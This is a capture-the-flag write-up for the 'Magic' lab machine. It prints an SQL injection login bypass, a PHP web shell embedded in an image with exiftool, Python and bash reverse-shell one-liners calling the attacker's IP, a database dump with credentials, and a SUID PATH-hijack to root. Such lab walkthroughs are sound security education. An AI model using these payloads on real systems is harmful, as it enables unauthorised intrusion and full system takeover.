Magic is a medium difficulty Linux box that features a php-based web application which is vulnerable to SQL injection for login bypass. Embedding a web shell to a valid image and double its extension bypasses the upload filter of the application. With that web shell, I’m able to gain a foothold on the system and obtain database credentials which can be used to dump passwords that is reused by a user on the box. For the root part, there’s a SUID binary that calls other binaries without their absolute path, allowing me to perform a path hijackattack and gain root access.
Reconnaissance
Nmap
→ root@iamf «magic» «10.10.14.169»
$ nmap -sC -sV -oA scans/magic 10.10.10.185
... <snip> ...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
... <snip> ...
nmap
found two ports open, an HTTP service on port 80 and SSH service on port 22
TCP 80 — Website
The website homepage shows a bunch of images. There is a login button that points to /login.php
at the bottom of the page.
By clicking “Views image”, I know some images located on /images/uploads
and some others on /images/fulls
.
Common credentials don’t seem to work here.
— :: SQL injection — Bypass Login
The login form doesn’t allows spacing between character, but it can be tricked by copy and paste.
A basic SQL injection technique ' or 1 = 1 -- -
for login bypass is work against the login page.
In MySQL, a space after a comment is a must
-- [space]
, because of that I added-- -
to make it clear.
We can assume the back-end query would look like this:
SELECT username, password from table.user where username='$username' and password='$pwd'
If I assign ' or 1 = 1 -- -
as value of $username
, it becomes:
SELECT username, password from table.user where username='' or 1 = 1 -- -' and password = '$password'
Foothold
Bypass Upload Feature
Upon a successful login, the site redirects me to /upload.php
. It shows up with an upload form that only allows me to upload a valid image file.
After some testing, I can bypass this upload filter by embedding my web shell in an image file (I took one from the web itself). This can be done by using exiftool
.
→ root@iamf «forest» «10.10.14.169»
$ ./exiftool -Comment=’<?php echo “<pre>”; system($_GET[‘cmd’]); ?>’ iamf.jpg
I added .php
extension right before the image extension (in my case it is .jpg
, so it becomes filename.php.jpg
). Back to /upload.php
, now it accepts the file.
The uploaded file located in http://htb.magic/images/uploads/
. When I visit http://htb.magic/images/uploads/iamf.php.jpg?cmd=pwd
, I can see the code execution is working
Reverse Shell
The machine has Python3 installed. With that, I can send a Python one liner reverse shell and set up a listener on port 443.
I’ll enter this URL on the browser.
http://htb.magic/images/uploads/iamf.php.jpg?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.169%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27"
Now on my listener, it caught the shell
→ root@iamf «magic» «10.10.14.169»
$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.169] from (UNKNOWN) [10.10.10.185] 19448
bash: cannot set terminal process group (1327): Inappropriate ioctl for device
bash: no job control in this shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Internal enumeration
I discovered a database configuration db.php5
that stores credentials after enumerating the current working directory with the find command.
$ find . -type f -user www-data...<snip>...
./var/www/Magic/db.php5
Database dump
Unfortunately, the mysql
binary is not present in the box.
Instead, I could use mysqldump
to dump the database.
I spotted a username and a password like while looking over the output.
www-data@ubuntu:/var/www/Magic$ mysqldump Magic -u theseus -p'iamkingtheseus'
...<snip>...
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
...<snip>...
Shell as theseus
The password is reused by user theseus
.
www-data@ubuntu:/var/www/Magic$ su theseus
Password:
theseus@ubuntu:/var/www/Magic$
Before enumeration, I would like to switch to SSH.
First, I’ll generate a new ssh key.
→ root@iamf «magic» «10.10.14.169»
$ ssh-keygen -f theseus
Then, I’ll add the newly generated public key to theseus
’s authorized_keys
file.
theseus@ubuntu:~/.ssh$ echo 'ssh-rsa AAABBBCCCDDD' >> authorized_keys
Now I can log in via SSH as theseus.
→ root@iamf «magic» «10.10.14.169»
$ ssh -i theseus@10.10.10.185
...<snip>...
theseus@ubuntu:~$
Finding SUID
Upon enumerating for SUID, there’s a binary that doesn’t seem a common SUID on Ubuntu.
theseus@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null
The sysinfo
binary is owned by root, but it can be executed by the users
group and theseus
is a member of that group.
theseus@ubuntu:~$ ls -las /bin | grep sysinfo
24 -rwsr-x--- 1 root users 22040 Oct 21 2019 sysinfo
theseus@ubuntu:~$ id
uid=1000(theseus) gid=1000(theseus) groups=100(users),1000(theseus)
I executed the binary and it returns some hardware information on screen that looks similar to lshw
, free
and other binary related to hardware info. A quick search on Google shows this:
Notice that it is the same header
Running strings
against sysinfo
reveals it calls lshw
, free
, fdisk
and some other bins without their absolute path. (I don’t have the screenshots to show what it looks like, also can’t find the logs on my notes, sorry)
- Absolute path:
/bin/sysinfo
–> fixed path, can not be modified except global write access is permitted. (cmiiw) - Relative path:
sysinfo
–> resolved by user’s env, can be modified
Path Hijacking on SUID
Knowing the SUID binary uses relative path to call other binaries, I could abuse this by creating, for example, a fake lshw
binary that contains a reverse shell.
First, I’ll create a fake lshw
in /tmp/iamf
folder and append one liner bash reverse shell.
theseus@ubuntu:/tmp$ mkdir iamf;cd iamf;
theseus@ubuntu:/tmp$ which lshw
/bin/lshw
Next, I’ll export /tmp/iamf
to environment variable $PATH
. Now If I call lshw
, the OS will resolve it to the one on /tmp/iamf
.
theseus@ubuntu:/tmp$ echo -e '#!/bin/sh bash -i >& /dev/tcp/10.10.10.169/1234 0>&1' > iamf/lshw
theseus@ubuntu:/tmp$ export PATH=/tmp/iamf:$PATH
theseus@ubuntu:/tmp$ which lshw
/tmp/iamf/lshw
After that, I can just execute the sysinfo
binary and it will just hang.
theseus@ubuntu:/tmp$ sysinfo
====================Hardware Info====================
That because it was pwned on my listener
→ root@iamf «magic» «10.10.14.169»
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.169] from (UNKNOWN) [10.10.10.185] 36094
root@ubuntu:/tmp/iamf# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)